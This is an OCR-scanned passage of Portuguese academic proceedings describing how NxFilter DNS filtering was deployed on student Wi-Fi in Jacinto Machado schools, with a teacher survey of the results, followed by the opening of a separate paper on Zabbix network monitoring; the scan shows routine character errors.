uma importante funcdo de apoio pedagdgico para a realizacdo de uma
aprendizagem dinamica, auxiliando os professores no processo de ensino-
aprendizagem (SOUZA, 2013).

Serafim e Sousa (2011) afirmam que o professor, por sua vez,
precisa se apropriar dos saberes oriundos da utilizagdo das ferramentas
tecnologicas da informagdo e comunicagdo como elemento apoiador no
decorrer do processo de ensino. Neste aspecto, as escolas que planejam o
uso das tecnologias tendem a alcangar resultados superiores em relagao
ao processo de ensino-aprendizagem de seus discentes (VOSGERAU;,
OGAWA, 2014).

Embora a Internet proporcione a disseminag¢do de informagdes
entre milhdes de pessoas, ela ndo traz apenas beneficios, tem também suas
desvantagens, como os crimes cibernéticos. Por este motivo, surge um
interesse em controlar o acesso a internet, principalmente no ambiente
escolar. Existem diversas ferramentas tecnoldgicas que podem ser
utilizadas para remover, bloquear ou impedir o acesso de contetidos
improprios na Internet (LEONARDI, 2007).

Diante destas premissas, o objetivo deste trabalho foi
disponibilizar acesso a rede sem fio, utilizando a ferramenta de segurancga
NxFilter, aos alunos dos anos finais das escolas municipais de educagdo
basica de Jacinto Machado — SC. Espera-se que esse acesso favoreca o
processo de aprendizado. Além disso, implementou-se um software que,
utilizando de suas funcionalidades padrao, filtra o conteudo para bloquear
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0 acesso a sites considerados improprios ao ambiente escolar. Portanto,
este trabalho visa obter resultados sobre o uso da internet por rede sem fio
dentro da sala de aula como apoio pedagodgico e analisar a eficacia do
software implementado para a tarefa de filtragem de contetido a partir dos
dados gerados pelo mesmo. Para obtencao dos resultados foi aplicado um
questiondrio semiaberto aos professores.

2 INTERNET

Considerada o maior acervo de informagdes disponiveis publicamente, a
Internet ¢ caracterizada por sua heterogeneidade, ou seja, possuindo os
requisitos necessarios, qualquer marca ou tecnologia de computador pode
ser conectada a rede, permitindo acessar, trocar e coletar informagdes
acerca de um assunto em qualquer horario e local (SABBATINI;
CARDOSO, 2012).

Além disso, segundo Morais, Lima e Franco (2012) a Internet é
um sistema global de redes de computadores, na qual estdo conectados
milhdes de equipamentos de informdtica. Através de linhas telefonicas
comuns, linhas de comunicagdo privadas, satélites e outros servigos de
telecomunicagdo, os usudrios podem utilizar servigos de informacao e
comunica¢do de alcance mundial.

Também, & importante destacar que junto com o avango das
tecnologias surgiram os crimes cibernéticos, que envolvem
principalmente a comercializagdo de itens e servigos ilicitos, divulgacdo
de fotos pornograficas de menores, difamagdo e apologia ao crime
(MORALIS; LIMA; FRANCO, 2012).

3 EDUCACAO

Educacao ¢ uma concepgao filosofica ou cientifica acerca de determinado
fator ou conhecimento, colocada em pratica. Durante décadas a educagéo
foi destinada para pequena parte da populagao, tornando-se um privilégio
de poucos que tinham tempo e dinheiro para investir (RODRIGUES,
2019).

Hoje em dia, a educac@o ndo apenas se tornou comum entre todas
as classes sociais, como também uma exigéncia pela sociedade, um
direito universal, conforme o artigo 205 da Constitui¢ao Federal de 1988
(MARTINS, 2001):
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‘A educacdo, direito de todos e dever do Estado e da

familia, sera promovida e incentivada com a
colaboragdo da sociedade, visando ao pleno
desenvolvimento da pessoa, seu preparo para o
exercicio da cidadania e sua qualifica¢do para o
trabalho’.

A educagdo consiste em um meio fundamental para que habitos,
costumes, comportamentos e valores de uma sociedade sejam
transmitidos de geragdo em geragdo. Dessa maneira, a educagdo também
pode ser definida como sendo o processo de socializagdo dos individuos,
onde ao receber educagdo, a pessoa assimila e adquire conhecimentos
(BUENO; PEREIRA, 2013).

A educacdo constitui a base de toda a formagdo e organizagdo
humana. As ferramentas utilizadas durante todo este processo sdo de
extremo beneficio para constru¢do e reprodugdo de visdo de mundo
(SARAIVA, 2003).

3.1 TECNOLOGIA NA EDUCACAO

Com a sociedade em transformagdo permanente, a escola procura se
modernizar para acompanhar o mundo da tecnologia e da globalizagao,
usando cada vez mais a tecnologia nas praticas de ensino, a fim de facilitar
o processo de aprendizagem (MORAN, 2000).

Teixeira (2010) relata que a importdncia da utilizacdo da
tecnologia computacional na area educacional visa melhorar o
desenvolvimento do educando, através da dinamizagdo no processo de
ensino-aprendizagem, possibilitando alcangar um estudo diferenciado e
significativo.

O avanco das tecnologias de informag@o possibilitou a criagdo de
ferramentas que podem ser utilizadas pelos professores em sala de aula,
0 que permite maior disponibilidade de informagdo e recursos para o
educando. Nesse sentido, o uso das ferramentas tecnologicas na educagao
deve ser visto sob a oOtica de uma nova metodologia de ensino,
possibilitando a interacdo digital dos discentes com os contetdos, isto &,
o aluno passa a interagir com diversas ferramentas que o possibilitam
utilizar os seus esquemas mentais a partir do uso racional e mediador da
informacao (TEIXEIRA, 2010).
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Diante disso, ¢ fundamental reconhecer a importincia das
inovagdes tecnologicas para o meio educacional. A utilizagdo das
ferramentas como recursos didaticos na sala de aula favorece o processo
de ensino-aprendizagem. Proporciona, também, aos alunos e professores,
uma nova forma de ensinar e aprender, integrando valores e
competéncias nas atividades educacionais. Assim, os profissionais da
educacdo acostumaram-se a usar novas ferramentas, melhorando o tempo
de gestdo dentro e fora do ambiente escolar (AGOSTINHO NETO, 2019).

Tendo em vista que a tecnologia serve como apoio no campo
educacional, deve-se levar em consideracdo que a troca de informagéo de
modo instantaneo entre milhares de pessoas ndo traz apenas beneficios.
Entre as desvantagens pode-se citar o uso de identidades e perfis falsos e
a distribuicdo de virus e aplicativos maliciosos, visando prejudicar outros
usudrios. Para essas situacOes serem evitadas, existem controladores de
contetdos para aquisi¢cdo comercial ou gratuita (MORAN, 2000).

4 FILTROS DE CONTEUDO

A Internet revolucionou os meios de comunicago entre a populagdo em
decorréncia de seu alcance global, facilidade de trabalho, pesquisa e
desenvolvimento humano (LEONARDI, 2007).

Segundo Pinto (2014), em escolas com acesso a Internet, ¢
aconselhavel restringir sites que ndo agregam conhecimento ou que
podem ndo ser indicados para a faixa etaria dos alunos. Através de
bloqueio eles poderdo utilizar os recursos para fins de aprendizagem no
decorrer das aulas. Isso pode ser feito, através de leis e regulamento
interno da institui¢do, impedindo os contetidos que ndo sdo relativos aos
estudos.

Portanto, é importante que sejam utilizados artificios que
possibilitem o controle de acesso a internet nas escolas, que pode ser feito
através da aplicagdo de um filtro adaptado as suas necessidades ou
definindo uma lista de paginas web que poderdo ou ndo ser acessadas
(PINTO, 2014).

4.1 NXFILTER

O NxFilter é um software que possibilita a filtragem de contetido da web
baseado no protocolo de Sistemas de Nomes de Dominios (DNS, Domain
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Name System). Permite a filtragem por categorias de contetido, sites e
aplicativos com diferentes politicas de acesso conforme o usuario ou
grupo de usuarios, Protocolo da Internet (IP, Internet Protocol) ou faixa
de IP, podendo controlar a largura de banda, horario de acesso e emitir
relatdrios por usudrios ou grupo de usudarios. Além disso, faz a detec¢do
de malware e botnet a partir de inspe¢do nos pacotes DNS, fornecendo
autenticacdo baseada em IP, login e senha por usuario (NXFILTER, 2019).

5 DNS

O protocolo de sistemas de nomes, conhecido como DNS ¢ responsavel
pela tradugdo dos enderecos IP em nome de dominios. O DNS emprega
um espago de nomes hierarquicos e uma tabela de vinculos, que ¢
repartida em partes independentes que sdo distribuidas pela Internet. Estas
subtabelas ficam disponiveis nos servidores de nomes e podem ser
consultadas através da rede (PETERSON; DAVIE, 2013).

Assim, conforme Peterson e Davie (2013), o usuario apresenta um
nome de sost a um programa de aplicagdo e o programa contata o servigo
de nomes para traduzir em endereco host. Exemplificando, quando
digitado www.ifc.edu.br, o DNS faz a traducdo para o endereco IP do
servidor, conforme demonstrado na figura abaixo:

Figura 1 - Nomes traduzidos em endereco

Usuério 1
3 www ifc.edu br
191.52.0.56
N —_— Ty
Servidor ™ | Navegador
de Nomes '\ de Internet
191.52.0.56 4
ifc.edubr l,
2
TCP
i’m 52,056 5

)

Fonte: Adaptado pelos autores de Peterson e Davie (2013).
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Para a seguranga do DNS, as Extensdes de Seguranga do Sistema
de Nomes de Dominio (DNSSEC, DNS Security Extensions), sio
esquemas de criptografia que fazem o uso de chaves publicas e privadas
para assegurar a veracidade dos enderegos consultados. Além disso,
varios servidores DNS fornecem detecgdo de sites falsos ou infectados,
ou ainda bloqueio de sites de contetido adulto (CIPOLI, 2019).

6 MUNICIiPIO DE JACINTO MACHADO

O municipio de Jacinto Machado possui uma populagdo estimada em
10.416 habitantes e area territorial de 430.704 Km? (IBGE, 2019). Este
municipio esta instalado na planicie costeira, quase ao pé da Serra Geral,
e fica a 254 quilometros de Florian6polis (JACINTO MACHADO [S.D.]).

Segundo os dados da Secretaria de Educagio, Cultura e Esporte
de Jacinto Machado (SECEJM) (JACINTO MACHADO, 2019), o
municipio possui em sua totalidade 11 escolas, dentre elas 1 estadual, 5
municipais de educagdo infantil, 3 municipais de educagdo basica para
anos finais e 2 escolas municipais de ensino fundamental. Na escola
estadual estdo matriculados 483 alunos e o quadro docente ¢ composto
por 65 professores. Nas escolas municipais estdo matriculados 1.406
alunos com o quadro docente composto por 193 professores.

6.1 REFERENCIAL PEDAGOGICO DA SECEJM

A Proposta Curricular da Rede Municipal de Ensino de Jacinto Machado
tem, como sua principal missdo, promover educacdo de qualidade para o
exercicio pleno da cidadania, estabelecendo relacdes democréticas e
participativas. Trata-se de um documento norteador do trabalho
pedagbégico na educacdo. Compde-se de aspectos tedricos e
metodologicos acerca do desenvolvimento entre um trabalho articulado
teoria e pratica (SECRETARIA MUNICIPAL, 2010).

Conforme a Secretaria Municipal (2010), no que se refere ao
Projeto Politico Pedagogico, este € o instrumento que organiza e orienta
as acOes pedagogicas, administrativas, fisicas e financeiras das escolas
municipais.

De acordo com a proposta, as novas tecnologias devem
relacionar-se com as diferentes metodologias, desenvolvendo habilidades
e atitudes, gerando um processo de transformacdo de ensino na area
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tecnologica,que ¢ hoje uma realidade na vida cotidiana de todos e
possibilitando aos educandos saberem utilizar esta tecnologia, uma vez
que a sociedade estd cada vez mais informatizada (SECRETARIA
MUNICIPAL ..., 2010).

7 METODOLOGIA

Neste capitulo sdo apresentados os materiais ¢ métodos empregados para
a disponibilizacdo de acesso a internet, controlada pela ferramenta
NxFilter, via rede sem fio, aos alunos dos anos finais das escolas
municipais de Jacinto Machado - SC.

7.1 METODOS

Gil (1999) aponta pesquisa como um processo formal e sistematico, onde
seu principal objetivo € descobrir as respostas para problemas mediante a
procedimentos cientificos e tem como objetivo a descoberta de novos
conhecimentos, a invenc¢ao de novas técnicas e a exploragdo ou criacio
de novas realidades.

No decorrer deste trabalho, foram empregadas pesquisas
bibliograficas, tecnoldgicas e qualitativas. A pesquisa bibliografica
consiste no levantamento de referéncias tedricas ja analisadas, por
exemplo, livros, artigos cientificos e paginas de web sites, que ja foram
publicadas por meios escritos ou eletronicos (FONSECA, 2002).

Cupani (2006) menciona que a pesquisa tecnoldgica ¢
responsavel pelo desenvolvimento de teorias de aplicacdo, tendo em vista
a solugdo de problemas mais voltados a inovagdo tecnologica. Quanto a
pesquisa qualitativa classifica-se como um método de investigacdo
cientifica que utiliza multiplas técnicas para avaliar opinides e
informag¢des sobre um determinado estudo, através de experiéncias
humanas (MINAYO; DESLANDES; GOMES, 2011).

7.2 PROCEDIMENTOS DE PESQUISA

Os procedimentos de pesquisa foram realizados em etapas, que estdo
descritos na Figura 2:
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Figura 2 - Fluxograma das etapas
Levantamento

das
necessidades

Definicdo dos lmplemen@agéo
métodos dos servicos

Andlise e & "
discussio dos plicacéo do
resultados questionério

Fonte: Os Autores, 2019

Na primeira etapa foi realizada uma reunido no dia 19/03/2019
com os responsaveis das escolas municipais e com a secretiria de
educacdo para apresentar o projeto de disponibilizacdo de internet via
rede sem fio aos alunos dos anos finais. O acesso a internet serd feito
através dos dispositivos dos proprios discentes, em sua maioria
Smartphones®.

O principal questionamento desse projeto feito pelos
responsaveis das escolas na reunido ficou por conta do possivel mau uso
da internet dentro da sala de aula, que poderia atrapalhar o rendimento
das aulas. Entretanto, foi elencado a existéncia de ferramentas que fazem
a filtragem de contetido, regulando o acesso a internet. Entdo foi discutido
quais os contetidos que seriam bloqueados e apresentado as categorias de
contetido. Assim, foram definidas as categorias a serem bloqueadas:
adware (publicidades), alcool/tabaco, bate-papo, namoro, drogas,
entretenimento, jogos de azar, jogos, phishing/malware, contetido adulto,
proxy/anonimizador (ferramentas que burlam a filtragem), redes sociais,

25 E um telefone celular com muitas fungdes: permite acesso a internet
através de navegador, possui um sistema operacional evoluido como
Android ou IOS, tem WiFi e ¢ possivel instalar softwares nele
(BENFICA, 2019).

=Il INSTITUTO FEDERAL

Catarinense



140

sites suspeitos, tracker (rastreamento a atividade do usuario), violéncia,
warez (download e torrents ilegais, pirataria) e armas. Também, foi
definido quais recursos necessarios seriam adquiridos.

Na segunda etapa foi definida a ferramenta gratuita NxFilter, pois
possui as fungdes necessarias para a filtragem de conteudo pelas
categorias com baixa laténcia na rede por ser baseado no protocolo DNS.

Na terceira etapa ocorreu a implantagdo dos servigos nas Escolas
Municipais de Educagdo Baésica: Albino Zanatta, Arizona e Figueira. Foi
utilizado um computador da SECEJM para hospedar o NxFilter e foram
comprados novos access points pela SECEJM, estes para o uso dos alunos.
A instalacdo dos access points e do NxFilter foram feitos no recesso
escolar de meio do ano de 2019. Foi disponibilizado o acesso a internet
aos alunos no dia 19/08/2019.

Posteriormente, entre os dias 28/10/2019 a 01/11/2019 foi
realizada a aplica¢do do questionario?® semiaberto para os professores das
escolas. Esse instrumento de coleta de dados possui intuito de atender os
objetivos propostos. Por fim, a ultima etapa foi a analise e discussao dos
resultados obtidos feito pelos autores.

7.3 MATERIAIS

Os dispositivos utilizados para instalagdo dos servigos foram um
microcomputador equipado com um processador Intel Pentium CPU
G3260 3.30 GigaHertz (GHz), 4 Gigabyte (GB) de Memoria de Acesso
Aleatorio (RAM, Random Access Memory), disco rigido de 750 GB,
placa de rede Onboard Fast-Ethernet ¢ Access Points modelo AP 310 da
marca Intelbras, que possui capacidade de até 100 usudrios conectados,
este servindo para disponibilizar acesso a rede sem fios.

7.4 AMBIENTE DE PESQUISA

As escolas ja possuem disponibilidade de rede sem fio que ¢ utilizada
pelos professores para uso do sistema online de gestdo escolar e pelos
funcionarios dessas insitui¢des de ensino. A topologia da rede sem fio de

26 Questionario é uma técnica com o propdsito de coletar informagdes da
realidade e deve conter perguntas faceis, sendo que suas respostas sdo
essenciais para a construgdo do trabalho (CHAER; DINIZ; RIBEIRO,
2009).

e
=Il INSTITUTO FEDERAL

Catarinense



141

cada escola opera localmente na faixa de rede 192.168.10.0/24, esta
gerenciada pelo Mikrotik RouterBoard da escola, sendo distribuida por 1
switch ndo gerenciavel.

Para poder disponibilizar acesso a internet aos alunos, foram
colocados os novos Access Points, também sendo distribuidos por 1
switch ndo gerenciavel. Foram colocados em uma rede existente que
conecta as secretarias das escolas a SECEJM, operando na faixa
10.1.50.0/24. Esta conex@o ¢ dada por meio de um protocolo de
tunelamento, que ¢ gerenciada pelo Mikrotik RouterBoard da SECEJM,
operando como se fosse uma rede local. Nesta mesma rede foi colocado
o NxFilter, para que ele se tornasse o servidor DNS da rede, assim, todo
o trafego oriundo da rede deve passar pelo NxFilter. Para exemplificar a
figura 3 ilustra a topologia de rede da SECEJM com uma escola.
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Figura 3 - Topologia de rede da SECEJM com uma escola.

Topologia Escola
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Acesso

Topologia SECEJM
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Computadores

i——._ﬁr‘ F?;.'f
Conversor de Mikrotik Switch
midia do Provedor RouterBoard

NxFilter

Fonte: Os Autores, 2019

A figura 4 ilustra o local de instalacdo do computador que opera
o Nxfilter.
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Figura 4 - Local de Instalagdo

Fonte: Os Autores, 2019

8 IMPLEMENTACAO

O presente capitulo abordara a instalagdo e configuracdo da ferramenta
de seguranga NxFilter.

8.1 INSTALACAO E CONFIGURACAO DO NXFILTER

Para a instalagdo do NxFilter foi utilizada a ultima versdo para Windows
no momento de sua instalacdo, versao 4.3.5.1, disponivel no site oficial
do NxFilter. Foi instalado em um computador com sistema operacional
Windows 7 Professional de 64 bits. O processo de instalagdo foi somente
avancando as opg¢oes padrdo do arquivo de instalagao.

Ap6s instalado foi realizado o acesso a pagina inicial do NxFilter
no IP 10.1.50.247, conforme ilustrado na figura 5. O IP foi obtido por
DHCP pelo computador que o hospeda e depois foi definido no Mikrotik
RouterBoard como IP estatico.
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Figura 5 - Dashboard do NxFilter
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Fonte: Os Autores, 2019

As primeiras configuragdes feitas foram na aba CONFIG, onde
foi necessario atribuir o IP do computador na opg¢ao redirecionamento de
pagina de bloqueio, quando houvesse uma solicitagdo de DNS bloqueada.
Foi ativado a op¢do de autenticagdo que levara o usuario a pagina de /login
para acessar a internet. Foi definido a pagina de login como login.com e
pagina de logout como logout.com. Também foi definido o tempo de
sessdo de login para 245 minutos, tempo de um turno escolar.

A proxima configuragdo feita foi na aba DNS. O NxFilter
funciona como um servidor DNS de encaminhamento, precisando de um
servidor DNS upstream, entdo foi definido o servidor DNS Google cujo
IP ¢ 8.8.8.8.

A proxima configuragdo foi feita na aba POLICY, nela sdo
definidas as politicas de bloqueio por categoria de conteudo. Foi utilizado
as categorias de contetido padrdo que o NxFilter oferece, assim criando
as politicas: alunos, liberados e professores. Na politica alunos foi
definido o bloqueio das categorias conforme definido na reunido. Na
politica professores foi definido bloquear categorias diferentes a dos
alunos. Na politica liberados ndo ha bloqueios por ser usado nas
secretarias das escolas, conforme definido na reunido.

A proxima configuragdo foi feita na aba USER. Nela foram
criados os grupos de usuarios e os usuarios. Foram criados os grupos:
alunos, liberados e professores. No grupo alunos foi definido a politica de
bloqueio alunos, no grupo liberados a politica de bloqueio liberados e no
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grupo professores a politica de bloqueio professores. Os usuarios do
grupo alunos e professores precisam se autenticar na pagina de /ogin para
ter acesso a internet. Ja os usudrios liberados tém acesso a internet por
autentica¢do de IP. Foram definidos todos os dispositivos manualmente
que teriam a liberacao. Os IPs dos dispositivos liberados foram definidos
como estaticos no Mikrotik RouterBoard da SECEJM.

Também foi configurado no Mikrotik RouterBoard da SECEJM
as regras de firewall para que todo trafego DNS passasse pelo NxFilter.

Feita a implantacdo do sistema, foi disponibilizado aos
professores e alunos o acesso a internet. Foi explicado em sala de aula o
procedimento para ter o acesso.

9 RESULTADOS E DISCUSSOES

No presente capitulo sdo apresentados e discutidos os resultados da
pesquisa tecnologica cuja investigacdo cientifica foi constituida de um
questiondrio semiaberto aplicado aos professores dos anos finais das
escolas municipais de Jacinto Machado - SC, com intuito de validar os
objetivos propostos neste trabalho.

O mecanismo de coleta de dados foi aplicado por questionario
impresso aos professores que atuam nas escolas municipais de Jacinto
Machado - SC. Entre uma populagdo de 33 professores que lecionam nos
anos finais, cerca de 52%, ou seja, 17 professores responderam ao
questiondrio semiaberto.

Em primeiro momento, questionou-se aos pesquisados se houve
uma mudanga na metodologia das suas aulas apos disponibiliza¢do de
internet sem fio aos alunos. Os resultados apontaram que 100% dos
professores responderam que sim, pois a disponibilizacdo da internet
contribuiu principalmente para pesquisas, tradugdes de textos, acesso a
videos e imagens. Isto contribuiu para que os alunos fossem além do
material oferecido pelo professor, facilitando o andamento das aulas e
trabalhos. Portanto todos os professores avaliaram que a disponibilizagido
de internet obteve um impacto positivo durante as aulas ministradas.

Quando questionados se 0 acesso aos sites ndo relacionados as
aulas prejudicou o rendimento delas, 16 professores (94%) responderam
que ndo. Os pesquisados alegam que através de uma norma definida pela
diretoria da escola, os Smartphones devem ficar recolhidos em uma caixa
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que fica na mesa do professor quando ndo é permitido o uso. Quando
permitido, é estabelecido um tempo para utilizagdo, posteriormente é
informado para todos desligarem os Smartphones e estes sdo recolhidos
novamente. Em contrapartida, 6% dos pesquisados responderam de forma
contraria, pois alguns alunos escondiam os Smartphones no momento do
recolhimento e utilizavam quando néo era permitido o uso.

Posteriormente, foi questionado sobre o funcionamento da
implementacdo do controle de contetido, onde a questdo menciona se
houve dificuldade no sistema implementado de acesso a internet (login e
senha). Destaca-se que havia sido passado aos alunos em sala o método
de como acessar a internet. Cerca de 94% dos entrevistados mencionaram
que nio tiveram dificuldade.

Também foi questionado se na percepcdo dos pesquisados o
software controlador de conteido bloqueou os sites considerados
improprios ao ambiente escolar. Conforme a figura 6, 71% dos
pesquisados consideram que os sites foram bloqueados, ja 23%
mencionam que apenas alguns sites foram bloqueados e outros 6% dos
pesquisados relatam que os sites ndo foram bloqueados. Um entrevistado
relatou que ndo percebeu se o software realizou ou ndo o bloqueio, outro
entrevistado mencionou que os alunos ja vinham com os jogos abertos de
casa e através de aplicativos conseguiam burlar o sistema.

Figura 6 - Percepgdo de bloqueio de sites considerados improprios

H Blogueou M Bloqueou a alguns sites B N&o Blogueou

Fonte: Os Autores, 2019

Dados captados pelo NxFilter mostram que alguns dominios do
whatsapp ndo tiveram bloqueio, da mesma forma que alguns dominios de
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jogos e de ferramentas que burlaram a filtragem. Foi verificado que estes
dominios estdo na categoria CDN (Entretenimento), que ndo estd
habilitada no NxFilter para bloqueio.

Em seguida, procurou-se saber se, mesmo com 0S recursos
disponiveis na sala de informatica, ¢ mais conveniente utilizar a internet
pelos Smartphones dos alunos dentro da sala de aula ao invés de usar o
laboratdrio de informatica. Cerca de 88% alegaram que é mais facil, pois
anteriormente acontecia de o laboratdrio de informatica ndo estar
disponivel quando era necessaria a utilizacdo. Além disso, € mais pratico,
nao precisando se deslocar até o laboratorio de informatica. Os outros
mencionaram que ainda utilizam a sala de informatica, pois alguns alunos
ndo tém Smartphones ou acontece da bateria do Smartphone estar
descarregada.

Na sequéncia, questionou-se sobre a disponibilizacdo do acesso
aos alunos. Uma parcela referente a 53% avaliou a disponibilizagdo como
boa. Outros 47% qualificaram como 6timo. Por fim, o intuito era saber de
que forma pode ser melhorado o sistema de acesso a internet
implementado por redes sem fio aos alunos. Os pesquisados justificaram
que a disponibilizagdo da internet s6 veio para acrescentar e do jeito que
foi implementado estd 6timo. Entretanto dois entrevistados sugeriram
“melhorar a conexdo, pois nem todos os aparelhos conseguem ficar
conectados” e ‘“‘oportunizar aos professores cursos que possam
demonstrar o uso de alguns recursos midiaticos e tecnologicos em suas
aulas”.

10 CONSIDERACOES FINAIS

A realizacdo desta pesquisa permitiu alcangar os objetivos propostos
inicialmente de disponibilizar acesso a internet sem fio aos alunos,
controlado pela ferramenta de seguranga NxFilter. A disponibilizagdo de
redes sem fio e a aplicagdo da ferramenta de seguranca NxFilter nos anos
finais das escolas municipais de Jacinto Machado - SC, segundo dois
entrevistados “foi uma grande evolu¢do na educac¢do e também nos
trabalhos ministrados pelos professores” e “esse sistema é de Otima
qualidade e s6 veio para acrescentar como ponto positivo nas salas de
aula”.

Em relag@o a isso, Teixeira (2010) assegura que a importancia da
utilizacdo da tecnologia computacional na area educacional visa melhorar

=Il INSTITUTO FEDERAL

Catarinense



148

o desenvolvimento do educando, através da dinamizagao no processo de
ensino-aprendizagem, que possibilita alcangar um estudo diferenciado e
significativo.

Ao utilizar a disponibilizacdo de redes sem fio, os professores se
depararam com algumas dificuldades na pagina de acesso de login,
entretanto, apds algumas instrugdes e um determinado tempo de
utilizagdo, eles foram se adaptando.

No decorrer do estudo e pelos dados obtidos no questionario
percebeu-se que o bloqueio por categorias que a ferramenta NxFilter
oferece ndo bloqueou alguns dominios de sites que sdo considerados
improprios ao ambiente escolar, assim, necessitando que sejam
adicionados esses dominios nas categorias.

Dessa forma, ¢ relevante em trabalhos futuros analisar o
funcionamento da ferramenta, acrescentando os dominios manualmente e
adicionar outras ferramentas para apoiar o sistema implementado a
realizar o efetivo bloqueio dos sites imprdprios ao ambiente escolar.
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APENDICE A - QUESTIONARIO

Questionario aplicado aos professores que lecionam nos anos finais das
escolas municipais de Jacinto Machado.

Elaborado sob orientagdo de Jeferson Mendonga de Limas e
coorientacdo de Sandra Vieira, intitulado “Disponibilizacdo de redes sem
fio e aplicagdo da ferramenta de seguranca NxFilter em escolas
municipais de Jacinto Machado” como conclusdo do curso de Tecnologia
em Redes de computadores.

Para continuidade do artigo, elaboramos um questionario para os
professores, que serdo fundamentais para o trabalho em desenvolvimento.
Assim, gostariamos de vossa inestimavel colaboracdo nesta jornada,
respondendo ao questionario abaixo:

1- Qual escola vocé atua como professor efetivo?
() Escola Municipal de Educagdo Basica Albino Zanatta
() Escola Municipal de Educagdo Basica Arizona

() Escola Municipal de Educacdo Basica Figueira

2 - Apos a disponibilizagdo de acesso a internet sem fio aos alunos, houve
uma mudanga na sua metodologia de ministrar suas aulas?

( ) Sim
( ) Nao

3 - Descreva de que forma a disponibilizagdo da internet contribuiu para o
desenvolvimento das suas aulas?
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4 - A disponibilizacdo do acesso a internet aos alunos obteve um impacto
positivo durante as suas aulas ministradas?

( ) Sim

( ) Nao

5 - O acesso aos sites ndo relacionado as aulas prejudicou o rendimento delas?
(Justifique).

() Sim

( ) Nao

Perguntas referente ao software implementado de bloqueio de conteudos
inapropriados.

6 - Houve dificuldade no sistema implementado de acesso a internet (login e
senha)?

( ) Sim
( ) Nao
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7 - Pode ser percebido que o software controlador de conteudo bloqueou sites
considerados improprios ao ambiente escolar no momento que os discentes
tentaram acessar?

() Bloqueou
() Bloqueou a alguns sites

() Nao bloqueou

8 - Na sua percepgédo foi possivel ter acesso a sites considerados improprios
ao ambiente escolar?

( ) Sim
( ) Nao

9 - Na sua opinido mesmo com os recursos disponiveis na sala de informatica,
¢ mais conveniente utilizar a internet pelos Smartphones dos alunos dentro
da sala de aula a usar a sala de informatica? (Justifique).

() Sim
() Nao

10 - Qual o conceito que vocé atribui a disponibiliza¢do do acesso aos alunos
como um todo?

() Otimo
() Bom

() Regular
() Ruim

() Péssimo
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11 - Na sua percepgdo, de que forma pode ser melhorado o sistema
implementado de acesso a internet por redes sem fio aos alunos?
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Abstract: Monitoring computer networks is essential to detect or prevent
potential failures. Thus, with the growth of structured networks, the need
for tools that automate tasks becomes necessary for network
administrators. Zabbix was the tool of choice for monitoring the activity
and availability of IFC Campus Avangado Sombrio network assets
because it is open source and flexible. In this way, it is an applied
bibliographical research, focusing on the problems of the institution's
activities and seeking a resolution through theoretical references,
registered on the internet, in books and articles. It was decided to
monitor the fundamental resources for the functioning of the network
environment such as as: switches, routers, firewalls, nobreaks and
servers, aiming to reduce the unavailability of the network and optimize
the time of the IT staff. After implementation, it is possible to graphically
assess network demand and project future expansions beyond the
possible prognosis of device failures.

Keywords: Management; Network; Network Administrators; Zabbix.

Resumo: O monitoramento de redes de computadores é essencial para
detectar ou prevenir possiveis falhas. Sendo assim, com o crescimento
das redes estruturadas a necessidade de ferramentas que automatizam
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tarefas se faz necessaria para os administradores de redes. Por ser open
source e flexivel, o Zabbix foi a ferramenta escolhida para realizar o
monitoramento das atividades e disponibilidade dos ativos de rede do
IFC Campus Avan¢ado Sombrio. Neste modo, por ser uma pesquisa
bibliogrdfica aplicada, concentrando-se nos problemas das atividades
da institui¢do e buscando a resolug¢do por meio de referéncias tedricas
publicadas na interne,t em livros e artigos, optou-se por monitorar os
dispositivos considerados fundamentais para o funcionamento do
ambiente de rede, tais como: switches, roteadores, firewalls, nobreaks e
servidores, tendo como intuido diminuir a indisponibilidade da rede e
otimizar o tempo de atuagdo da equipe de TI. Apos implementagdo, pode-
se avaliar por meio de grdficos a demanda de rede e projetar futuras
ampliagoes, além de prognosticar possiveis falhas dos dispositivos.

Palavras-chave: Monitoramento; redes; Administradores de redes;
Zabbix.

1 INTRODUCAO

Uma rede de computadores precisa disponibilizar recursos e servigos,
além de ser &gil, segura e ter alta disponibilidade. Sendo assim, o
gerenciamento de rede tem a funcdo de suprir essas necessidades, ou seja,
contribuir para que a rede estaja sempre disponivel o maior tempo
possivel, sem grandes interrupcées. (KOCH, 2008)

De acordo com Black (2008), uma rede de computadores, por
menor e mais simples que seja, necessita de um gerenciamento com o
objetivo de assegurar a disponibilidade de servicos em grau satisfatdrio.
Sendo assim, com a evolugdo no nimero de dispositivos que utilizam os
servicos e sistemas da rede, tornou-se comum utilizar os sistemas de
geréncia. Para Specialski (2013), com a recorrente expansao das redes, a
complexidade de seu gerenciamento aumentou, logo, adotar ferramentas
de gerenciamento tornou-se indispensavel para o monitoramento e
controle.

Desse modo, por meio de uma pesquisa aplicada, que conforme
Thiollent (2005), concentra-se em torno dos problemas presentes nas
atividades das instituicGes, organizagdes, grupos ou atores sociais, a
implementacdo da ferramenta Zabbix feita no Instituto Federal
Catarinense - Campus Avancado Sombrio se da pela inexisténcia de um
software de monitoracdo. Neste ponto, a auséncia de uma ferramenta de
monitoramento acaba demandando tempo dos profissionais que atuam no
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setor de T1 em prognosticar possiveis falhas e/ou até mesmo atuar diante
de panes.

Além disso, o fundamento que contribui para justificar a
abordagem desta problematica € a possibilidade de implantacdo de uma
ferramenta altamente utilizada em grandes corporacbes, capaz de
monitorar diversos dispositivos, com uma documentagdo constantemente
atualizada por uma comunidade ativa e disponibilizada de forma open
source, ou seja, ndo acarretando custos para a institui¢do.

No mais, o referencial tedrico busca dar entendimento ao
referido tema, buscando por meio de artigos publicados, elucidar cada
assunto abordado de forma individual. Da mesma forma, por intermédio
de trabalhos relacionados, busca-se abordar resultados obtidos mediante
a implementacdo da ferramenta Zabbix em diferentes ambientes. Neste
aspecto, com base na compreensdo dos pontos tratados, materiais e
métodos descrevem o ambiente e passos utilizados para atingir 0s
objetivos inicialmente propostos e, por fim, apresenta-los em resultados
e discussao.

2 REFERENCIAL TEORICO

Este capitulo aborda as ideias e o0s principais conceitos técnicos
necessarios para o entendimento do tema pesquisado e das etapas
realizadas.

2.1 GERENCIAMENTO DE REDE

O gerenciamento estd associado ao controle das atividades e ao
monitoramento do uso dos recursos no ambiente de redes de
computadores. Segundo Xavier, Koch e Westphall (2002), o principal
objetivo da geréncia de redes é prover qualidade de servicos das
aplicacdes que requerem o uso da estrutura da rede. Para Black (2008), a
partir do gerenciamento é possivel ter controle dos recursos da rede, além
de permitir a identificacdo e prevencao de problemas.

Diante disso, foi proposto pela Organizagdo Internacional de
Normalizacéo (1SO, International Organization for Standardization) uma
